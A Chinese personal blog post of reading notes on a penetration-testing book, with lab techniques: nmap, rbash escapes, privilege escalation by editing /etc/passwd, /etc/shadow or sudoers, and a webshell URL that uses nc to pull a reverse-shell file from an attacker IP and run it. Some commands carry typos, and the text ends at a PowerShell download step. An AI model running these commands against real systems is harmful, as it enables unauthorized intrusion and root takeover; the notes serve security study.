安小琪's blog

少年有梦,不应止于心动

《脑洞大开:渗透测试另类实战攻略》读书笔记

《脑洞大开:渗透测试另类实战攻略》读书笔记

第一章:欢迎,年轻的勇士:准备工作

nmap常用命令

1
nmap -sC -sV -v -A 目标主机ip

其中,-sC、 -sV、 -V、 -A这四个参数的含义如下:

  • -sC: 根据端口识别服务自动调用默认脚本,即nmap将根据识别到的具体服务自动使用对
    应的默认脚本检测服务详情。
  • -sV: 扫描目标主机的端口和软件版本,即nmap将在探测端口的基础上继续对版本信息进
    行探测。
  • -v: 输出详细信息,通过该参数我们将实时获得探测过程中的进度等详细信息。
  • -A: 综合扫描,包含基于1~ 10000的端口进行ping扫描、操作系统扫描、脚本扫描、路由跟踪和服务探测等。

字典

kali自带强大字典

1
2
在Kali中此文件所在的路径为
/usr/share/wordlists/dirbuster/xxxxxx

文件传输操作

开http服务

1
python -m SinpleHTTPServer 80

wget下载

1
wget http://10.xxx.xxx.xxx/shell.sh

第二章:新手村:从Kioptrix开始

Point 1(80/443)

对于开放开80和443端口的IP,要分别访问80和443端口

1
2
3
4
    小贴士:相信有不少人会误以为https服务所提供的站点内容与当前主机http服务所提供的
相同。实际上,在很多情况下,它们所提供的站点内容并不一样,因此在进行渗透测试时应针对
它们分别进行测试。类似地, 一个IP下可以运行多个站点,通过IP访问和通过域名访问获得的结
果也可能不尽相同,所以应分别留意。

Point 2(Exploit Database)

过时的中间件、服务版本,可能会存在漏洞,可在Exploit Database进行检索

Point 3(LinEnum)

getshell之后可通过linux提权辅助工具LinEnum进行提权

1
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。

Point 5(linux写权限)

提权需要在目标主机本地系统中选择一个我们拥有写权限的目录,Linux 下常用的相关目录
有/tmp/目录以及/dev/shm/目录等

Point 6(rbash)

rbash

1
2
3
4
5
小贴士: rbash是一种功能受限的bash shell,即它可以执行的命令被人为限制了,只有特
定几种,也就是说,rbash是一 种白名单限制shell,使用rbash 登录的用户只允许使用管理员预
先设定好的命令,可见rbash的权限很低。如果rbash中限定的命令种类设置存在疏忽,就可能
导致恶意攻击者可以利用某些被错误允许执行的命令运行出一个不受限的bash shell,该操作被
成为rbash逃逸

在rbash中输入“?” ,会获得当前shell允许执行的所有命令列表

在rbash中,如果遇到了如下常见的命令被允许执行,就可以直接凭借对应的构造命令成功地实现rbash逃逸。换言之,如果想设置一个相对安全的rbash环境,以下命令不应该轻易被允许使用。

  • 针对ftpmorelessmanvivim,可在输入点输入!/bin/sh!/bin/bash命令实现逃逸。
  • awk可以使用awk 'BEGIN{system("/bin/sh")}'awk 'BEGIN{system("/bin/bash")}'
  • find命令可以通过输入find/-name SomeName-exec/bin/sh\;find/-name SomeName-exec/bin/bash\;实现逃逸。
  • Python可以使用python-c 'import os;os.system("/bin/sh")'命令实现逃逸。
  • php可以使用php-a then exec("sh-i");命令实现逃逸。
  • Perl可以使用perl-e 'exec"/bin/sh";'命令实现逃逸。
  • lua可以使用os.execute('/bin/sh')命令实现逃逸。
  • ruby可以使用exec"/bin/sh"命令实现逃逸。

这里只罗列了常见的部分,若想获得更多信息,建议进一步学习如下资料。
《Linux Restricted Shell Bypass》:https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf。

Point 7 (sudo)

1
2
小贴士: sudo是Linux系统下的管理指令,普通用户可以通过sudo命令以root权限执行管理员设定的几
个或全部程序。设定不同,每个用户被允许使用sudo执行的命令种类和数量也不同。用户可以通过sudo -l命令查看当前用户被允许使用的程序列表。此外,有些用户在使用sudo -l命令的时候也需要提供当前用户的密码,这是因为管理员对用户的设置不同。如果需要密码,那么对于使用反弹shell获得的用户身份而言,可能就无法直接查看和使用sudo命令了。

Point 8 (改用户提权)

拥有修改敏感文件的权限时(比如sudo ht),我们可以直接在/etc/passwd文件中新增用户,并且把密码直接写在/etc/passwd文件里。

例如:

上述内容将创建一个用户名为rootwe,密码为toor的root用户。文中密码toor的密文sXuCKi7k3Xh/s是通过如下命令获得的:

1
openssl passwd -crypt toor

也可以编辑/etc/shadow文件,将root账号的密码清空,保存退出后,然后执行su root命令即可无须密码切换到root用户

也可以编辑/etc/sudoers文件,该文件包含了每个用户可以在不输入密码的情况下使用sudo命令的范围,即执行sudo -l命令时获得的输出结果。可以直接修改该文件给当前的低权限用户添加无须使用密码执行sudo /bash命令的权限。

Point 9(sqlmap)

跑sqlmap的时候可以设置下--level或者--risk

Point 10 (httpserver)

有的时候会遇到这样一个问题,使用python -m SimpleHTTPServer 80命令开启http服务,但是目标主机系统中的wget命令将无法连接成功。这是因为该主机设置了策略,禁止连接远程主机的80端口,这时会出现如下图所示的连接等待界面。

而如果在Kali系统中换一个端口开启SimpleHTTPServer,则可以成功绕过上述连接限制。本例中使用如下命令将SimpleHTTPServer改在8882端口开放。

1
python -m SinpleHTTPServer 8882

之后在目标主机系统上使用wget命令访问Kali系统的8882端口下载文件,就不会再受连接限制影响了

Point 11 (Apache的默认安装路径)

Apache官方提供了一个名为DistrosDefaultLayout的站点,链接如下:

https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout。
上述站点提供了Linux各版本系统下Apache的默认安装路径

1
nmap扫描出来的某端口无法访问时,如果条件允许,可以通过Apache中间件的主配置文件httpd.conf来查找原因。比如存在目录穿越漏洞时,可通过上诉网站查找路径后配合漏洞进行读取

Point 12 (nc传输文件)

Kali系统自带shell文件php_reverse_shell.php,它默认位于/usr/share/webshells/php目录。使用该文件时,首先要将其内部的反弹IP和端口更改为目前Kali系统实际使用的IP以及准备监听反弹shell的端口。

使用nc传输文件

攻击机:192.168.192.134
目标机器:192.168.192.135

当目标机器存在远程命令执行漏洞,但发现该目标主机系统限制使用nc的-e命令参数,这导致远程连接无法交互,输入任何命令都会直接断开连接。此外,由于目标主机本地没有bash、Python等程序,因此也导致相关反弹shell方法均不可用。这时使用文件写入方法,利用echo命令写入“一句Webshell”,获得一个可以回显的远程命令执行方式。

虽然目标主机对nc -e命令进行了限制,但nc传输文件时无须使用-e参数。因此可以借助“一句话Webshell”使用nc上传shell文件。具体操作如下:

1、利用“一句话Webshell”构建如下链接:

1
http://192.168.192.135:8080/phptax/shell.php?cmd=nc 192.168.192.134 8888 >reverse_shell.php

该链接中包含的命令将通过nc向192.168.192.134主机的8888端口发起连接请求,并且会将获得的返回数据保存为本地reverse_shell.php。访问上述链接前,在Kali系统的php_reverse_shell.php文件所在的目录下执行如下命令:

该命令将通过nc监听8888端口。当该端口被访问时,nc会将本地php_reverse_shell.php的文件内容提供给对方。通过在Kali系统以及目标主机分别完成上述操作,就可以成功使用nc实现文件传输,最终的传输结果将保存在目标主机Web目录的reverse_shell.php中。
完成上述操作后,使用nc命令重新监听8888端口。

最后通过浏览器访问链接http://192.168.192.135:8080/xxxxx/reverse_shell.php即可触发反弹shell的执行。

第三章 过时即风险:综合技能的扩展与提升

Point 1 (windows传文件)

在Linux系统下可以使用的wget、curl等命令在Windows系统下往往都是失效的,因而需要另辟蹊径,比较常用的方法包括smb文件共享以及使用powershell中的DownloadFile()函数,这里以后者为例进行讲解,smb文件共享方式在后续的实践将单独说明。
利用powershell的DownloadFile()函数下载文件到本地Windows主机的命令格式如下。